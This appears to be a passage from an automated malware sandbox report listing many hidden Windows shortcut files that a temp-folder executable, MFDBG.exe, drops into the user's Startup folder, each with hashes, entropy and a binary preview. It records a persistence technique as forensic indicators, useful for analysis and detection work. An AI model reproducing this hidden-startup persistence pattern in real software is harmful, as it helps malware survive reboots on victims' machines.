File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:12 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924352738026983
Encrypted:	false
SSDEEP:	24:8ATBfo+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ogTEvZ0yRO7DLO2zdxdRd1kyg
MD5:	4BCFAEA200D0A80C487057D0ADFC455D
SHA1:	91B26C2D2F4C47796E75AAB21600B3D38268B66F
SHA-256:	23F4A71B6656406A502FB05F681A670A255236351B96B2AA217F96C72ABE6608
SHA-512:	CAAEBA5A293B2B1EF1E6A6FA6DB26B0162BE1D5917FD88D91A9CBE94338E0A514DB43896A18EC15DCB494B15A2DBA26AA428400CC94B3E72A9510DC9EB2BD3E6
Malicious:	false
Preview:	L..................F....".......d....8u$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....&b$d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4c2f51caa23a4c02868a318247d6d956.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:19 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9234685639497595
Encrypted:	false
SSDEEP:	24:82BfiH8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:88TEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D832BE29C0F906CAA21DFE4BD6029031
SHA1:	681537FD446623DC98121E8031EE55AB662761D3
SHA-256:	36E4E1F51DCB0C971927C5F7956741F1028C9CD049E98016F31AE82F35EFF216
SHA-512:	D9722CD0C035C31FE1A30D34065405900559976829C1D2BFAA19B82166EBE8A8DD621F01BAE83E14CBB71CCC0F6CDF0EF2266D72EE6B12B7811465151BF81B39
Malicious:	false
Preview:	L..................F....".......d......)d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...j.")d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4cb4d055ba10431681a85cd1553f5794.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923286501380291
Encrypted:	false
SSDEEP:	24:81Bf/P48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:833FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8979220E1941F40782B1D2229EE431CB
SHA1:	A8B9EC078AECDEBD519982A3E2FCDD09108B2E20
SHA-256:	0B0EE2227DA14F1B32114BE6D363803E26981AD99357DD9EEB27627062B4F501
SHA-512:	2AA9BE6B2B003BA363784ABC79D41CDA055DFEF9BFE77170C649014CC5F5FF9A27DA61ABB5B5A363DB22C5BE8AB37D5BF2C9CFE7B16D2974449A3798145963E5
Malicious:	false
Preview:	L..................F....".......d...I..{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....0.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4cceea8106cf449babcf5c092e075541.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:18 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9246598001816935
Encrypted:	false
SSDEEP:	24:80Bfm4p8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8a+9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	F278BAC3E42E41AD726212BA17E5EB1D
SHA1:	78BA69F10F53C6A0F83079035409A04E1398F236
SHA-256:	365C7B3A611DFE6A635E1F8FFD04FEBC2687B765D0607F852E51A30BBD7969D7
SHA-512:	D51B8555B01CAEF7CE3C252F3DA278CE7CB72C7C2513C1C5BA2C58B679AC16FCC41D08D245D5CDA1211BBA074161259CF409469E3900F74436BD5752CCDF3620
Malicious:	false
Preview:	L..................F....".......d...W.:(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......'d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4cdd88f0999f4aa38b5c88e5da7e8106.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9269085711876635
Encrypted:	false
SSDEEP:	24:8aBfP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8YMEvZ0yRO7DLO2zdxdRd1kyg
MD5:	783598C6ACB212E4F620365C9A7F5587
SHA1:	904D3D3FA84D6E7EADBA348C5A201CC9768E7B40
SHA-256:	0C72E90EF307D52E5AF8CB33D3B1D4635FB29173344B6A769AB89EC1C1BC8F9B
SHA-512:	A2727FBDE16C8E14CDF29E61CB8940A37A1172715B98661AEC2E0E9A424DB48AE4127F5F16B20DD99CA47E31663CA36FA4C0ADE06EAA085D24B5F6CA908D3D81
Malicious:	false
Preview:	L..................F....".......d.....]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...rIm]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4d48fbfe1f12496ab3947f5bbbc4db22.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926057644135997
Encrypted:	false
SSDEEP:	24:8NtBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NfhEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7B417BEEED5ABA0EE8F264D8258D10E8
SHA1:	4361CE20227174134DD7994A20E2E81B3D3D0FE6
SHA-256:	D14BC70864CC9983F2F0C99BC1D14D0187703CE07AA19EB26A99BAAB97F2679F
SHA-512:	4092A9F855E57CAFE6EBFBA066A2D9499C5CAB124F3AC344EF3C3C70CB73AFBBEFD54DF3AA8535F61B9347D4ACE4FF6B6E9CB8073D993D1CD139729E7CAC3339
Malicious:	false
Preview:	L..................F....".......d...0O.Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....w.Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4d49cfd3987844adb8498a4ed0d8649a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930912071452582
Encrypted:	false
SSDEEP:	24:8DuBfT8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8DE4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	C830D432DF669FC795A2F792E6821BA5
SHA1:	A7134720121DF6600FB20E699C3D78206E315195
SHA-256:	8D883331881D710651A72AE2317FAA4067D0EB0518EB30FA3AD5A0D7C3DFDD65
SHA-512:	7EB99511319782950B9401D223A3BDBA66F899962ED8F2D136AC6DA92CE4C61522AB2873D7AD5084047AF5706BCCFE18285C52E630DB83993984221357508C87
Malicious:	false
Preview:	L..................F....".......d....d.Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4d90184c109d4336866939af57cf9070.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:10 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930824084254249
Encrypted:	false
SSDEEP:	24:82BfW8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:88DEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D93782A86E191003AFAE581577580F67
SHA1:	8C1A0150437DB3705EF54EF56C38929A3323337B
SHA-256:	7E15375B5BDC86C299B1D2C4FA12DA9F4479A459592FD6AAA2F7A2B868E65E0D
SHA-512:	7777CF25DC1E18C6290EBE503B83236659AC990F92ED20D4C7EF491433A2F4A022D37147834AEAB1D384BFBCAE7AEEAD8A080FF81D23633936FDA09AF491C242
Malicious:	false
Preview:	L..................F....".......d.....z#d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....<#d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4dd0c19e1acc4d559883fba05dd1b6b8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:27 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926546768860175
Encrypted:	false
SSDEEP:	24:8Fo2Bfs48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8S809EvZ0yRO7DLO2zdxdRd1kyg
MD5:	27BB0EB53EA5672E8ABF767067E92590
SHA1:	E1A49C6239B103DDB3CC5ED1E56871990F48607A
SHA-256:	B06BBDB8A7FBE287F0E58C0B34C65CF9012BFF9A47DA63E93DD41409743573A8
SHA-512:	9C99FF1215779E1807AE7CFC37C7BF0F82F4D3EC446F76A402F191E1C089E2AC0554DCF6308255176C2E49219C424672C3AA3C1D601BA084EDC1F2E362A9B17F
Malicious:	false
Preview:	L..................F....".......d.....\|Qd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\|Qd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4deb145ba5ad41b7b07a33fdc013e3b8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929405898814216
Encrypted:	false
SSDEEP:	24:8nBfh8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8BOEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3A1FDC03A63D3B93EA5440CF982534F4
SHA1:	87B0743019647A81C43AC33C1D78D9F884DCA41C
SHA-256:	23A9582CD5B487175376D8C835089FBB5AA28995A2385CCDC8E3454CE0551CE2
SHA-512:	76DD9F916414F39A9D9579593F06C49B5211889372A5148BB94DC3FE2D69FD544D07948D88B1BF215F18D1C1962DB5CDD91D314732B5A5E3466EF0E21D5E581F
Malicious:	false
Preview:	L..................F....".......d......~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...O..~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4e08ddd482b14a1798350d15b6817c8e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92760691733407
Encrypted:	false
SSDEEP:	24:81BfiD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:83aQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F8D8D04295CD908826B595D9B0F8B86A
SHA1:	0089F98B5A818F7EC5219559A4E17A150F84598F
SHA-256:	B5ABA75933F0B04AB5D78190A36BA51F5642AA9C92BA5395BBE50B00F61A2203
SHA-512:	4BA735C44464FE997B545F012643FF2876550E25A97119450475AED173DCE2A272859406E1449EA03201BCCB5CCE3F112CDD13778B02C09337E43FF140D457A3
Malicious:	false
Preview:	L..................F....".......d...'..:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...R..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4e6d00d8ae154c67a16b94aaca016867.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:18 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921350901408294
Encrypted:	false
SSDEEP:	24:8IBfB8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8GOEvZ0yRO7DLO2zdxdRd1kyg
MD5:	81B8B1792FDD2CC65B2FFA9D36597D1F
SHA1:	D88B886DB2BE0C0C5A5F9B77A4274912D08B66D7
SHA-256:	30530ECAC671D18D478F4459111F9AA89CA85073D2189EAB6E9D04AC2E771EA8
SHA-512:	7256F864D2A190CEC853C55DA38EA0DFF25B0A830A0E5C9388B3A08AADC148599E82994216971438A406976E473D1FAA4211F967FE2C4F70EE2231F5FCC1EC55
Malicious:	false
Preview:	L..................F....".......d.....(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4e793b3746d0411f8b7ffa7c049bace9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920919846963698
Encrypted:	false
SSDEEP:	24:8QuBfJ48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8QEPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	ED775E026FE308E15EBB8C2B91606B67
SHA1:	3A9A596378C628717EBFC298130C87E9CE6A93E7
SHA-256:	0A8823C3E4A8DEEC4E3AE32530FE4C507A4F50719205E5694CCBDDE38CDD6313
SHA-512:	6D277C8001BFCE602029A56091A3040F9426CB4010BD7EC53DF4C1986A886CFDBBCEBFA23724A591986D5034DD4EBA76CE4B4BFBBF9FCAF8775D7BDF68EDD9EA
Malicious:	false
Preview:	L..................F....".......d....1.9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......8d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4e7a97950c2f45119f82a8bf5ce76c26.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
